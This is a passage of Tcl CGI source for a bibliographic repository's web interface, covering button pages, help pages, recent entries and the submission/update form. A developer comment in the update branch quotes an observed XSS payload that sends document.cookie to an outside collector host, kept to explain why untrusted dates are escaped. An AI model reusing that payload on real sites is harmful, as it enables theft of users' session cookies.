#			set onLoad  " ONLOAD=\"window.open('http://$env(HTTP_HOST)/col/$currentRep/doc/mirrorsearch.cgi?query=$query&languagebutton=$language&returnbutton=yes', '$display')\""
			set onLoad  " ONLOAD=\"window.open('http://$env(HTTP_HOST)/col/$currentRep/doc/mirrorsearch.cgi?query=$query&languagebutton=$language&returnbutton=yes', '$display'); parent.LoadSearchExpression(document.form.query.value)\""
		} else {
			set onLoad {}
		}
		if [catch {set infoQuery prefixqueryfield=$cgi(prefixqueryfield)&queryfield=$cgi(queryfield)&suffixqueryfield=$cgi(suffixqueryfield)&suffixquery2field=$cgi(suffixquery2field)&suffixquery3field=$cgi(suffixquery3field)&referencetypefield=$cgi(referencetypefield)&languagebutton=$language&returnbutton=yes}] {
#			set infoQuery languagebutton=$language
			set hiddenInput {}
		} else {
			regsub -all { } $infoQuery {+} infoQuery
			set hiddenInput "
<INPUT TYPE=HIDDEN NAME=\"prefixqueryfield\" VALUE=\"$cgi(prefixqueryfield)\">
<INPUT TYPE=HIDDEN NAME=\"queryfield\" VALUE=\"$cgi(queryfield)\">
<INPUT TYPE=HIDDEN NAME=\"suffixqueryfield\" VALUE=\"$cgi(suffixqueryfield)\">
<INPUT TYPE=HIDDEN NAME=\"suffixquery2field\" VALUE=\"$cgi(suffixquery2field)\">
<INPUT TYPE=HIDDEN NAME=\"suffixquery3field\" VALUE=\"$cgi(suffixquery3field)\">
<INPUT TYPE=HIDDEN NAME=\"referencetypefield\" VALUE=\"$cgi(referencetypefield)\">
"
		}
#		ConditionalSet choice cgi(choice) {}
		ConditionalSet choice cgi(choice) {brief}	;# added by GJFB on 2018-05-28 - required to get the Brief option selected in Form
#		ConditionalSet sort cgi(sort) {}
		ConditionalSet sort cgi(sort) {key}	;# added by GJFB on 2018-05-28 - required to get the Key option selected in Form
		ConditionalSet accent cgi(accent) {}
		ConditionalSet case2 cgi(case2) {}
#		if ![info exists cgi(query)] {set cgi(query) {}}
#		if ![info exists cgi(choice)] {set cgi(choice) brief}
#		if ![info exists cgi(sort)] {set cgi(sort) key}
#		if ![info exists cgi(accent)] {set cgi(accent) false}
#		if ![info exists cgi(case2)] {set cgi(case2) false}
## administratorUserName
#		regsub {@.*$} $env(SERVER_ADMIN) {} administratorUserName
# it is better to use administrator instead of its user name because
# in case of name change we don't need do reload the frame
# insertionOn
# glob -nocomplain ../../auxdoc/insertionOn-*
		if [file exists ../../auxdoc/insertionOn-] {
			Load ../../auxdoc/insertionOn- time
#			set insertionOn "<FONT SIZE=1 FACE=ARIAL COLOR=BROWN>$time</FONT>"
			set insertionOn "<div style=\"color: brown; font-family: Arial; font-size: 10px; white-space: nowrap; padding-right: 40px\">$time</div>"
		} elseif {[file exists ../../auxdoc/insertionOn-authentication]} {	;# added by GJFB on 2020-11-21 for displaying eventual failure while storing password (see StorePassword2)
			Load ../../auxdoc/insertionOn-authentication time
			set insertionOn "<div style=\"color: brown; font-family: Arial; font-size: 10px; white-space: nowrap; padding-right: 40px\">$time</div>"
		} else {
			set insertionOn {&nbsp;}
		} 
		set output [subst $body]
	}
	^Button$ {
# targetFrame
		set targetFrame _top
		if [info exists env(QUERY_STRING)] {
			regexp {targetframe=([^&]*)} $env(QUERY_STRING) m targetFrame	;# used in xxButton.html
		}
# Drop some buttons for the main site
# see xxButton.html
		set urlibServerAddress $env(URLIB_SERVER_ADDR)	;# urlib.net and port
# puts --$urlibServerAddress--
#		foreach {urlibServerName urlibPort} [ReturnCommunicationAddress $urlibServerAddress] {break}
# Drop some buttons for the main site - end

# Count one click
		set URParts $currentRep
		set localURLibClientSocketId [eval "StartCommunication $serverAddress"]
		set clientIPAddress [GetClientIP]
		Submit $localURLibClientSocketId [list PostponeOneClickCount $URParts $clientIPAddress]
		close $localURLibClientSocketId
# Count one click - end

		if [file exists ../$col/$languageRep1/doc/${language}Button.html] {
			Load ../$col/$languageRep1/doc/${language}Button.html body
		} else {
			Load ../$col/$languageRep2/doc/${language}Button.html body
		}
		source ../$col/$URLibServiceRepository/auxdoc/.environmentArray.tcl	;# set environmentArray(registrationFlag)
		
# Source displayControl.tcl
		set enableOutput 0
		eval $sourceDisplayControl	;# required for setting displaySubmitMenu only
# Source displayControl.tcl - end

# Migration 2020-08-27
#		file delete ../$col/$mirrorHomePageRep/doc/@schedule.tcl
		file delete ../$col/$mirrorHomePageRep/doc/buttonBg.gif	;# buttonBg.jpg which has better resolution than buttonBg.gif is now used instead of buttonBg.gif
		if ![string equal $mirrorHomePageRepository $mirrorHomePageRep] {
			file delete ../$col/$mirrorHomePageRep/doc/submission.js	;# now there is only one submission.js in use which is in mirrorHomePageRepository
		}
# Migration 2020-08-27 - end
			
		if [file exists ../$col/$mirrorHomePageRep/doc/buttonBg.jpg] {	;# added by GJFB on 2020-08-27
			set backgroundImageRep $mirrorHomePageRep
		} else {
			set backgroundImageRep $mirrorHomePageRepository	;# default image
		}
		
		if {[info exists cgi(highlightabout)] && $cgi(highlightabout)} {	;# added by GJFB on 2022-09-11 - highlightabout field may be used in some links in the About page - see, for example, the URL of the anchor 1988 in the About page of the SDLA
			set aboutButtonStyle {style=\"background-color: #aaffaa; border-radius: 2px\"}
		} else {
			set aboutButtonStyle {style=\"background-color: transparent\"}
		}

#		set output $body
#		set output [subst $body]
		set output [subst [subst $body]]
	}
	^Button2$ {
# Get number of visits
#		set numberOfVisits [Execute $serverAddressWithIP [list GetNumberOfVisits $env(LOBIMIREP)]]
		set numberOfVisits [Execute $serverAddressWithIP [list GetNumberOfVisits $currentRep]]
# Get number of visits - end
		if [file exists ../$col/$languageRep1/doc/${language}Button2.html] {
			Load ../$col/$languageRep1/doc/${language}Button2.html body
		} else {
			Load ../$col/$languageRep2/doc/${language}Button2.html body
		}
		set output [subst [subst $body]]
	}
	^Inquiry$ {
		while {[EnterQueue [pid] inquiry]} {
			set x 0; after 100 {set x 1}; vwait x
		}
		if [file exists $env(DOCUMENT_ROOT)/col/$currentRep/auxdoc/inquiry] {
			catch {source $env(DOCUMENT_ROOT)/col/$currentRep/auxdoc/inquiry}	;# the inquiry file might have been corrupted
		}
		if ![info exists low] {
# the inquiry file was not found or might have been corrupted
			set low 0
			set medium 2
			set high 0
		}
		if [info exists cgi(inquiry)] {
			if [string equal low $cgi(inquiry)] {incr low}
			if [string equal medium $cgi(inquiry)] {incr medium}
			if [string equal high $cgi(inquiry)] {incr high}
			set fileContent "set low $low; set medium $medium; set high $high"
			Store fileContent $env(DOCUMENT_ROOT)/col/$currentRep/auxdoc/inquiry
			LeaveQueue [pid] inquiry
			puts "Location: Inquiry?justranking=yes&languagebutton=$language"	;# could be anything else instead of yes
			puts ""
			return
		}
		LeaveQueue [pid] inquiry
		puts {Content-Type: text/html}
		puts {}
		if [file exists ../$col/$languageRep1/doc/${language}Inquiry.html] {
			Load ../$col/$languageRep1/doc/${language}Inquiry.html body
		} else {
			Load ../$col/$languageRep2/doc/${language}Inquiry.html body
		}
#		set output $body
		set output [subst $body]
#		set output [subst [subst $body]]
	}
	^Help$ {
		GetConversionTable $languageRep2 $language
		CreateAbbreviation ^a|^t|^y|^k|^r|^i|^u|^m
		global field::conversionTable
		global abbreviationArray
		set output [subst [set ${languageRep2}::body]]
#		set output [set ${languageRep2}::body]
	}
	^AdvancedHelp$ {
		GetConversionTable $languageRep2 $language
		set fieldList [CreateAbbreviation ^v]
		global field::conversionTable
		global abbreviationArray
		foreach field $fieldList {
			lappend fLE <I>$field</I>
		}
# fieldListExample
		set fieldListExample [join $fLE " [set ${languageRep2}::and] "]
		set output [SetFont [subst [set ${languageRep2}::body]]]
	}
	^DynamicHelp$ {
		GetConversionTable $languageRep2 $language
		CreateAbbreviation .*
		global field::conversionTable
		global abbreviationArray
		if ![info exists cgi(prefixqueryfield)] {set cgi(prefixqueryfield) $abbreviationArray(author)}
		if ![info exists cgi(queryfield)] {set cgi(queryfield) {}}
		if ![info exists cgi(suffixqueryfield)] {set cgi(suffixqueryfield) and}
		if ![info exists cgi(suffixquery2field)] {set cgi(suffixquery2field) $abbreviationArray(title)}
		if ![info exists cgi(suffixquery3field)] {set cgi(suffixquery3field) {}}
		if ![info exists cgi(referencetypefield)] {set cgi(referencetypefield) {}}
		if ![info exists cgi(simpleformseconddisplay)] {set cgi(simpleformseconddisplay) {}}
# inverseTable		
		foreach {index value} [array get conversionTable] {
			if ![string equal {referencetype} $index] {set inverseTable($value) $index}
		}
		foreach value [lsort -dictionary [array names inverseTable ?*]] {
			set selected1 { }
			set selected2 { }
#			if {[string compare {author} $inverseTable($value)] == 0} {set selected1 { SELECTED }}
			if {[string compare $cgi(prefixqueryfield) $abbreviationArray($inverseTable($value))] == 0} {set selected1 { SELECTED }}
#			if {[string compare {title} $inverseTable($value)] == 0} {set selected2 { SELECTED }}
			if {[string compare $cgi(suffixquery2field) $abbreviationArray($inverseTable($value))] == 0} {set selected2 { SELECTED }}
			lappend fieldNameList1 "<OPTION${selected1}VALUE=$abbreviationArray($inverseTable($value))> $value"
			lappend fieldNameList2 "<OPTION${selected2}VALUE=$abbreviationArray($inverseTable($value))> $value"
		}
		set fieldNameList1 [join $fieldNameList1]
		set fieldNameList2 [join $fieldNameList2]
		set referenceTypeList [Execute $serverAddressWithIP CreateReferenceTypeList]
		foreach referenceType [lsort $referenceTypeList] {
			if [regexp {Generic} $referenceType] {continue}
			set selected { }
# puts [list $cgi(referencetype) $referenceType]
			if [string equal $cgi(referencetypefield) $referenceType] {set selected { SELECTED }}
			lappend fieldValueList "<OPTION${selected}VALUE=\"$referenceType\"> $referenceType"
		}
		set fieldValueList [join $fieldValueList]
		set output [set ${languageRep2}::body]
		regsub "OPTION VALUE=\"$cgi(suffixqueryfield)\"" $output "OPTION SELECTED VALUE=\"$cgi(suffixqueryfield)\"" output
# puts $output
		set hiddenInput "
<INPUT TYPE=HIDDEN NAME=\"prefixqueryfield\" VALUE=\"\">
<INPUT TYPE=HIDDEN NAME=\"queryfield\" VALUE=\"\">
<INPUT TYPE=HIDDEN NAME=\"suffixqueryfield\" VALUE=\"\">
<INPUT TYPE=HIDDEN NAME=\"suffixquery2field\" VALUE=\"\">
<INPUT TYPE=HIDDEN NAME=\"suffixquery3field\" VALUE=\"\">
<INPUT TYPE=HIDDEN NAME=\"referencetypefield\" VALUE=\"\">
<INPUT TYPE=HIDDEN NAME=\"simpleformseconddisplay\" VALUE=\"$cgi(simpleformseconddisplay)\">
"
		set output [SetFont [subst $output]]
	}
	^Language$ {
		set englishMirrorRepository $env(ENGLISH_MIRROR_REP)
		source ../$col/$englishMirrorRepository/doc/mirror/language.tcl
# administratorUserName
		regsub {@.*$} $env(SERVER_ADMIN) {} administratorUserName
		set output [SetFont [subst [set ${englishMirrorRepository}::body]]]
	}
	^Contributors$ {
# contributorList
#		set query {list GetMetadataRepositories $currentRep 2 "targetfile @reference.bib [join $loCoInRepList]" yes yes 1 metadatalastupdate}
		set query {list GetMetadataRepositories $currentRep 3 "contenttype Bibliography Data Base [join $loCoInRepList]" yes yes 1 metadatalastupdate}
#		set query2String {query2=targetfile @reference.bib [join $loCoInRepList]&choice2=brief&accent2=yes&case2=yes}
#		set query2String {from=contributors}	;# no used anymore in MirrorGet
		set query2String {}	;# needed because it an argument of CreateOutput
		global cgi
		set cgi(continue) yes	;# to force continue
		set cgi(choice) brief
		CreateOutput $language $languageRep1 $languageRep2 $query $query2String Contributors ../
		return
	}
	^Field$ {
# fieldNameList
		GetConversionTable $languageRep2 $language	;# set field::conversionTable
		CreateAbbreviation .*	;# need field::conversionTable - set abbreviationArray
		global field::conversionTable
		global abbreviationArray
# inverseTable
		foreach {index value} [array get conversionTable] {
			set inverseTable($value) $index
		}
if 0 {
# displayControl.tcl is used to set the table attributes: headerBgColor and cellBgColor
		if [catch {source ../$col/$submissionFormRep/doc/displayControl.tcl} error] {
			puts "error in sourcing file <TT>&lt\;$env(DOCUMENT_ROOT)/col/$submissionFormRep/doc/displayControl.tcl&gt\;</TT>:"
			puts <BR>
			puts $error
		}
} else {
# added by GJFB on 2017-11-06 because submissionFormRep may not contain the file displayControl.tcl in the case of metaform
		set headerBgColor #FFCCCC	;# no more customizable based on the current mirror
		set cellBgColor #D6D6D6
}
		foreach value [lsort -dictionary [array names inverseTable ?*]] {
#			lappend fieldNameList <TR><TD BGCOLOR=$cellBgColor><TT>&nbsp\;$value&nbsp\;&nbsp\;</TT></TD><TD BGCOLOR=#EEEEEE><TT>&nbsp\;$abbreviationArray($inverseTable($value))</TT></TD></TR>
			lappend fieldNameList <TR><TD BGCOLOR=$cellBgColor><FONT FACE="Courier New">&nbsp\;$value&nbsp\;&nbsp\;</FONT></TD><TD BGCOLOR=#EEEEEE><FONT FACE="Courier New">&nbsp\;$abbreviationArray($inverseTable($value))</FONT></TD></TR>
		}
		set fieldNameList [join $fieldNameList]
		set output [SetFont [subst [set ${languageRep2}::body]]]
	}
	^Word$ {
## wordOccurrenceList
#		global wordOccurrenceList
# maximumNumberOfWords
# empty maximumNumberOfWords means to return all the keywords
		if ![file exists $homePath/col/$currentRep/doc/@maximumNumberOfWords] {
			set fileContent {# empty maximumNumberOfWords means to return all the keywords
# set maximumNumberOfWords 30
set maximumNumberOfWords {}}
			Store fileContent $homePath/col/$currentRep/doc/@maximumNumberOfWords
		}
		source $homePath/col/$currentRep/doc/@maximumNumberOfWords	;# set maximumNumberOfWords
		Load $homePath/col/$currentRep/doc/@wordOccurrence wordOccurrenceList
		if [string equal {} $wordOccurrenceList] {
#			set wordOccurrenceList [GetWordOccurrenceList $currentRep $maximumNumberOfWords $env(IP_ADDR):$env(SERVER_PORT)]	;# get the word just from the local collection
			set wordOccurrenceList [GetWordOccurrenceList $currentRep $maximumNumberOfWords]	;# get the word just from the local collection
			Store wordOccurrenceList $homePath/col/$currentRep/doc/@wordOccurrence	;# can also be stored executing urlibScript/getWordOccurrence.tcl (see PerformCheck)
#			Store wordOccurrenceList $homePath/col/$currentRep/doc/@wordOccurrence auto 0 w 0 iso8859-1	;# commented by GJFB on 2016-08-06 - not necessary to solve the accent problem (just necessary in urlibScript/getWordOccurrence.tcl)
		}
# wordListLength
		set wordListLength [llength $wordOccurrenceList]
#		regsub -all {_} $wordOccurrenceList { } wordOccurrenceList

		set wordList {}
		set stringLength [string length [lindex [lindex $wordOccurrenceList 0] 1]]
		foreach item $wordOccurrenceList {
			regsub -all { } [format %${stringLength}s [lindex $item 1]] {\&nbsp;} frequency
			lappend wordList "$frequency [lindex $item 0]"
		}

		set wordOccurrenceList [join $wordList <BR>]
		GetConversionTable $languageRep2 $language
		global field::conversionTable
# statisticsDate
		global "${languageRep2}::statisticsDate"
		global "${languageRep2}::Jan"
		global "${languageRep2}::Feb"
		global "${languageRep2}::Mar"
		global "${languageRep2}::Apr"
		global "${languageRep2}::May"
		global "${languageRep2}::Jun"
		global "${languageRep2}::Jul"
		global "${languageRep2}::Aug"
		global "${languageRep2}::Sep"
		global "${languageRep2}::Oct"
		global "${languageRep2}::Nov"
		global "${languageRep2}::Dec"
		set statisticsDate [subst [GetStatisticsDate $statisticsDate]]
		set output [SetFont [subst [set ${languageRep2}::body]]]
#		set output [set ${languageRep2}::body]
	}
	^Recent$ {
## not used anymore since 2021-04-22
# still in use when returning from an update form
if 0 {
# testing progressive loading - doesn't work with Apache 2.4 in urlib.net
	puts 1
	puts "<!-- [string repeat a 4096] -->"	;# to have the previous puts displayed
	set x 0; after 1000 {set x 1}; vwait x
}
# Source displayControl.tcl - added by GJFB on 2018-05-28
		set enableOutput 0
		eval $sourceDisplayControl	;# required for setting choice and outputFormat values only - these values can be customized in col/dpi.inpe.br/banon/2000/01.23.20.24/auxdoc/displayControl.tcl
# Source displayControl.tcl - end

		set maximumNumberOfEntries $env(MAX_NUMBER_OF_ENTRIES)
		set query [list list GetMostRecentMetadataRep $currentRep $maximumNumberOfEntries]
#		set query2String {from=recent}	;# no used anymore in MirrorGet
		set query2String {}	;# needed because it an argument of CreateOutput
		global cgi
#		set cgi(choice) brief
		set cgi(choice) $choice	;# used in LoopOverEntries when displaying the similars button with the brief choice
		set maximumNumberOfReferences 10
		if ![info exists cgi(imageflag)] {set cgi(imageflag) 0}	;# added by GJFB on 2018-05-28 - don't display the thumbnail (if any) - required when setting choice == CreateBriefTitleAuthorEntry in displayControl.tcl
#		CreateOutput $language $languageRep1 $languageRep2 $query $query2String Recent \
			../ 0 $maximumNumberOfReferences brief
		set linkType 1	;# added by GJFB on 2018-05-28 - required to get the rep link type

#		ConditionalSet targetValue cgi(targetvalue) {_self}	;# targetValue added by GJFB on 2022-06-13 for new behavior navigation - commented by GJFB on 2024-12-12
		ConditionalSet targetValue cgi(targetvalue) {_top}	;# targetValue added by GJFB on 2022-06-13 for new behavior navigation - added by GJFB on 2024-12-12 - this change still needs to be verified/tested
		ConditionalSet forceHistoryBackFlag cgi(forcehistorybackflag) 1	;# forceHistoryBackFlag added by GJFB on 2023-11-16 - forcehistorybackflag added to get the green return button displayed
		
		CreateOutput \
		$language $languageRep1 $languageRep2 $query $query2String Recent ../ \
		0 $maximumNumberOfReferences $choice 1 \
		^$ 0 {} $outputFormat \
		{#EEEEEE #E3E3E3} {} no \
		yes $linkType 0 \
		$targetValue metadatalastupdate \
		site no {} \
		short {; } {} {} \
		0 $forceHistoryBackFlag	;# targetValue added by GJFB on 2022-06-13 for new behavior navigation - forceHistoryBackFlag added by GJFB on 2023-11-16 - forcehistorybackflag added to get the green return button displayed
		return
	}
	^Submit$ {
# puts $currentRep
		foreach {language languageRep2} [FindLanguageForSubmissionForm $language $submissionFormLanguage $firstLanguageRep $languageRep2] {break}
if 0 {
	puts {Content-Type: text/html}
	puts {}
	puts "language = $language<br>"
	puts "languageRep2 = $languageRep2<br>"
}

		source ../$col/$languageRep2/doc/mirror/${submissionFormLanguage}$frameName.tcl
# puts ../$col/$languageRep2/doc/mirror/${submissionFormLanguage}ReferenceTypeName.tcl
		source ../$col/$languageRep2/doc/mirror/${submissionFormLanguage}ReferenceTypeName.tcl	;# set translationTable
		global "${languageRep2}::currentVariableFileName"	;# for reverse engineering

		GetConversionTable $languageRep2 $language
		global field::conversionTable

# to select thesis as reference type the URL must be Submit/Thesis
# to submit just a reference the URL must be Submit/Thesis?attachment=no
		global "${languageRep2}::submission header"
		global "${languageRep2}::update header"
		global "${languageRep2}::footer"
		global "${languageRep2}::submissionMetadataTable"	;# set in mirror/xxSubmit.tcl
		global "${languageRep2}::updateMetadataTable"	;# set in mirror/xxSubmit.tcl
		global "${languageRep2}::updatingMetadataTable" ;# Migration 10/10/04 - not used
		global "${languageRep2}::Please wait for the submission completion."
		global "${languageRep2}::Please wait for the update completion."
		global "${languageRep2}::File Name"
#		global "${languageRep2}::User Name"
		global "${languageRep2}::Password"
		global "${languageRep2}::Submit"
		global "${languageRep2}::Update"
#		global "${languageRep2}::Update Submission Agreement"
		global "${languageRep2}::Update agreement Directory"
		global "${languageRep2}::Remove before Update agreement Directory"
		global "${languageRep2}::Save/Check"
		global "${languageRep2}::Save/Exit"
		global "${languageRep2}::Save the form and return to check its content and continue filling out"
		global "${languageRep2}::Save the form and exit from it"
		global "${languageRep2}::Move to source Directory before Update"	;# added by GJFB on 2016-05-10
		global "${languageRep2}::Move back to doc Directory before Update"	;# added by GJFB on 2021-05-27
		global "${languageRep2}::Remove before Update"
#		global "${languageRep2}::Update and don't Copy to Source"
		global "${languageRep2}::Update source Directory"
#		global "${languageRep2}::Remove before Update and don't Copy to Source"
		global "${languageRep2}::Remove before Update source Directory"
#		global "${languageRep2}::Remove before Update - d&s"
		global "${languageRep2}::Add"
		global "${languageRep2}::Add and Copy"
		global "${languageRep2}::Run"
		global "${languageRep2}::Update and Finish"
		global "${languageRep2}::Close"
		global "${languageRep2}::Clear"
#		global "${languageRep2}::Return"
		global "${languageRep2}::Cancel"
		global "${languageRep2}::Code"
		global "${languageRep2}::Folder Name"
		global "${languageRep2}::forbidden submission"
		global "${languageRep2}::forbidden update"
		global "${languageRep2}::disabled submission"
		global "${languageRep2}::no user name for update"
		global "${languageRep2}::out-of-date search"
		global "${languageRep2}::Document"
		global "${languageRep2}::Review"
		global "${languageRep2}::Reference"
		global "${languageRep2}::Abstract"
		global "${languageRep2}::a document"
		global "${languageRep2}::a review"
		global "${languageRep2}::a reference"
		global "${languageRep2}::an abstract"
		global "${languageRep2}::search option for submit"
		global "${languageRep2}::search option for update"
		global "${languageRep2}::Don't Get URL"
		global "${languageRep2}::Get URL and Don't Transfer Copyright"
		global "${languageRep2}::Get URL and Transfer Copyright"
		global "${languageRep2}::popup warning"
		global "${languageRep2}::closed session"
		global "${languageRep2}::Add one more author field"
		global "${languageRep2}::Remove this author field"
		global "${languageRep2}::Move this author field up"
		global "${languageRep2}::Move this author field down"
		global "${languageRep2}::Try to fill out this field"
		global "${languageRep2}::User"	;# used in access to Restricted Area
		global "${languageRep2}::turn the attached file, the target file"
		global "${languageRep2}::capture the URL content"
		global "${languageRep2}::Forgot it?"
		global "${languageRep2}::Don't have or forgot it?"
		
#		global "${languageRep2}::translationTable"	;# set in xxFillingInstructions.tcl

# administratorUserName
# used by CreateReturnButton
		regsub {@.*$} $env(SERVER_ADMIN) {} administratorUserName

# update and submissionType
		set update 0
		set submissionType submit
		if [info exists env(QUERY_STRING)] {
# puts $env(QUERY_STRING)
			if $updateStageOfSubmit {
# update
				set update 1
				set submissionType update

#				if [info exists cgi(metadatarepository)] {
#					append returnInfo "&metadatarepository=$cgi(metadatarepository)"	;# added by GJFB on 2013-02-11 in order to update the proper metadata repository
#				}
				append returnInfo "&metadatarepository=$metadataRep"	;# added by GJFB on 2013-03-03 - needed to update the proper metadata repository

				set metadataList [Execute $serverAddressWithIP [list GetMetadata $metadataRep-*]]
# puts $metadataList
				array set localMetadataArray $metadataList
# repName == rep
				set repName $localMetadataArray($metadataRep-0,repository)
# repositoryContentType
				ConditionalSet repositoryContentType localMetadataArray($metadataRep-0,contenttype) {}
# metadataLastUpdate
				set metadataLastUpdate $localMetadataArray($metadataRep-0,metadatalastupdate)
				regsub -all { } $metadataLastUpdate {+} metadataLastUpdate
				regsub -all {=} $metadataLastUpdate {%3d} metadataLastUpdate2	;# added by GJFB on 2019-04-30 - the symbol equal (=) must be converted to (%3d) otherwise the value of lastupdate attribute in query string is truncated - Example (case of a XSS attack in the year field):
# 2019:05.01.02.32.27 dpi.inpe.br/banon/1999/01.09.22.14 banon {D {<script> document.write('<iframe width=1 height=1 src=http://www.coletor.com/rc.php?xss='+document.cookie.replace(/ /g,'')+'></iframe>') </script>}}
# -> 2019:05.01.02.32.27+dpi.inpe.br/banon/1999/01.09.22.14+banon+{D+{%3Cscript%3E+++document.write(%27%3Ciframe+width%3d1+height%3d1++src%3dhttp://www.coletor.com/rc.php?xss%3d%27+document.cookie.replace(/+/g,%27%27)+%27%3E%3C/iframe%3E%27)+%3C/script%3E}}
				set metadataLastUpdate2 [EscapeUntrustedData $metadataLastUpdate2] ;# added by GJFB on 2019-04-30 - the date may contain untrusted data				
#				append returnInfo "&lastupdate=$metadataLastUpdate"
				append returnInfo "&lastupdate=$metadataLastUpdate2"
# documentStage - used in displayControl.tcl only
				if [info exists localMetadataArray($metadataRep-0,documentstage)] {
					set documentStage $localMetadataArray($metadataRep-0,documentstage)
				}
# nextEdition - used in displayControl.tcl only
				if [info exists localMetadataArray($metadataRep-0,nextedition)] {
					set nextEdition $localMetadataArray($metadataRep-0,nextedition)
				}
# userGroup - used in displayControl.tcl and in this procedure
				if [info exists localMetadataArray($metadataRep-0,usergroup)] {
					set userGroup $localMetadataArray($metadataRep-0,usergroup)
if 1 {
# added by GJFB on 2022-08-04 to fix metadata updated between 2022-01-25 and 2022-06-11 and in Archive with URLibService not updated after 2022-06-11
		set nbsp [format %c 160]	;# no-break space
		set userGroup [lsort -unique [regsub -all $nbsp $userGroup {}]]	;# drop no-break spaces and duplicates
}
				} else {
# for old metadata
					set userGroup {}	;# could be any thing (existence is tested in displayControl.tcl and allow the setting of optionTable2)
				}
# advancedUser - used in displayControl.tcl and in this procedure
				set advancedUser $localMetadataArray($metadataRep-0,username)
# secondaryType - used in displayControl.tcl
				if [info exists localMetadataArray($metadataRep-0,secondarytype)] {
					set secondaryType $localMetadataArray($metadataRep-0,secondarytype)
				}
# window
				regsub -all {/} ${currentRep}___$metadataRep {__} window
				regsub -all {\.|@|-} $window {_} window
				set window ${window}___0
			} else {
# submit
				set userGroup {}	;# could be anything (existence is tested in displayControl.tcl and allow the setting of optionTable2)
				set userName {}	;# added by GJFB on 2016-06-05 - needed when executing:
# "lsearch -index 1 $supervisorList $userName"
#    invoked from within
# "expr [lsearch -index 1 $supervisorList $userName] == -1?{[list 0 {} {} {}]}:{[list 3 {} {} {Recomendação do orientador}]}"
#    invoked from within
# "subst $displayTable($referenceType,$fieldName)"
#    invoked from within
# "FindFieldValue $field $fieldName $label $referenceType $update"
			}
# puts 2==$returnInfo
# puts $update
# puts [array names cgi]
# puts [array get cgi]

# some fields are:
# deposit (used to force submission/update when a new reference has the same authors, title and reference type as an existing reference)
# internal use
# values are: yes or no, default is no; yes means to force submission
# updateoption (set in CreateBriefEntry - ePrint)
# has priority over the value defined in displayControl.tcl
# values is one of these: all, update, {remove before update}, {update source directory}, {remove before update source directory}, {update agreement directory}, {remove before update agreement directory}, add, {add and copy}, run, and finish, default is given by updateOptionTable in displayControl.tcl

			if [regexp {(returnaddress)=(.*)$} $env(QUERY_STRING) m name value] {
				regsub {&metadatarepository=.*$} $value {} value	;# metadatarepository field comes from env(REQUEST_URI) (see CreateBriefEntry) it was needed for Submit (update option) but is not used in the returnaddress
				set cgi($name) $value
			}
			regsub {&?returnaddress=.*$} $env(QUERY_STRING) {} queryString
			foreach {name value} [split $queryString &=] {
				set cgi([DecodeURL $name]) [DecodeURL $value]
			}
		}
# puts $env(QUERY_STRING)
# puts $update
# puts [array get cgi]
# puts $cgi(returnaddress)

#		if ![info exists cgi(deposit)] {set cgi(deposit) no}	;# commented by GJFB on 2020-12-30 to avoid possible 'Request-URI Too Large' http error
#		if ![info exists cgi(deposit)] {set cgi(deposit) yes}	;# added by GJFB on 2020-12-30 - commented by GJFB on 2026-07-10
		if ![info exists cgi(deposit)] {set cgi(deposit) no}	;# added by GJFB on 2026-07-10 - now working by not preserving the abstract field (it can be very big and otherwise produces a 'Request-URI Too Large' http error)
		if ![info exists cgi(updateoption)] {set cgi(updateoption) {}}
		if ![info exists cgi(returnaddress)] {set cgi(returnaddress) {}}
		if ![info exists cgi(returnbutton)] {set cgi(returnbutton) {no}}	;# needed in xxEnterPassword.html
#		if ![info exists cgi(mirror)] {set cgi(mirror) {}}	;# is not empty when submitting or updating an ePrint (electronic source)
		if ![info exists cgi(requiredmirror)] {set cgi(requiredmirror) {}}	;# is not empty when submitting or updating an ePrint (electronic source) - commented by GJFB on 2013-05-23 - already set above
#		if ![info exists cgi(frameinuse)] {set cgi(frameinuse) no}	;# when using search option (see displayControl.tcl) frameinuse is set to yes - frameinuse is not a user variable, is for internal use only - commented by GJFB on 2020-06-24 - now below
		if ![info exists cgi(registereduser)] {set cgi(registereduser) yes}	;# used when checking session

		array set cgi $extraCGIList	;# set in Submit - needed with multiple creator fields
		if ![info exists cgi(ingestactor)] {set cgi(ingestactor) {}}	;# used in xxSubmit.html and xxUpdateSubmission.html - needed with multiple creator fields
		if ![info exists cgi(hidesimilarbutton)] {set cgi(hidesimilarbutton) {no}}
		if ![info exists cgi(forcehistorybackflag)] {set cgi(forcehistorybackflag) 1}	;# added by GJFB on 2023-11-16 - forcehistorybackflag added to get the green return button displayed
		if ![info exists cgi(reviewprocess)] {set cgi(reviewprocess) {}}	;# used in xxSubmit.html and xxUpdateSubmission.html - needed with multiple creator fields
		if ![info exists cgi(initialaction)] {set cgi(initialaction) {}}	;# used with return button
		if ![info exists cgi(displayedfieldlist)] {set cgi(displayedfieldlist) {fullname password subject}}	;# used in xxEnterLogin.html

		if {$updateStageOfSubmit || ![info exists pathInfo]} {
# may not exist when coming form Submit
			set frameName Submit
		}
# puts [array get cgi]
# referenceType - used in displayControl.tcl
# referenceType2
		if !$updateStageOfSubmit {
			if [info exists pathInfo] {
				set referenceType2 [lindex $pathInfo 6]

# Netscape doesn't work with <A HREF="Submit/Conference Proceedings">
				regsub {(.)([A-Z])} $referenceType2 {\1 \2} referenceType	;# ConferenceProceedings -> Conference Proceedings
				regsub {(.)(or )} $referenceType {\1 \2} referenceType	;# Filmor Broadcast -> Film or Broadcast
			} else {
# may not exist when coming from Submit
				set referenceType $cgi(%0 referencetype)
				set referenceType [join $referenceType]	;# {Conference Proceedings} -> Conference Proceedings
				regsub -all { } $referenceType {} referenceType2	;# Conference Proceedings -> ConferenceProceedings 
			}
		} else {
			if [info exists {cgi(%0 referencetype)}] {
				set referenceType $cgi(%0 referencetype)
				set referenceType [join $referenceType]	;# {Conference Proceedings} -> Conference Proceedings
				regsub -all { } $referenceType {} referenceType2	;# Conference Proceedings -> ConferenceProceedings 
			}
		}
# referenceType3
		regsub -all { } $referenceType {+} referenceType3 
		append returnInfo &%0+referencetype=\{$referenceType3\}

		if $update {
# update (used in displayControl.tcl)
			LoadService $repName userName userName 1 1	;# must be before source displayControl.tcl for dynamic forms
			set cgi(login) $userName	;# used in xxEnterPassword.html
			
#			if {[info exists cgi(username)] && [info exists cgi(session)]} #
#				append returnInfo "&username=$cgi(username)"	;# to maintain username
#				append returnInfo "&session=$cgi(session)"	;# to maintain session
#			#

# publishingYear - used in displayControl.tcl
			ConditionalSet year localMetadataArray($metadataRep-0,year) {}	;# added by GJFB on 2021-03-28 - used in this procedure and include/xxConferenceProceedingsClosedUpdate.html only
			
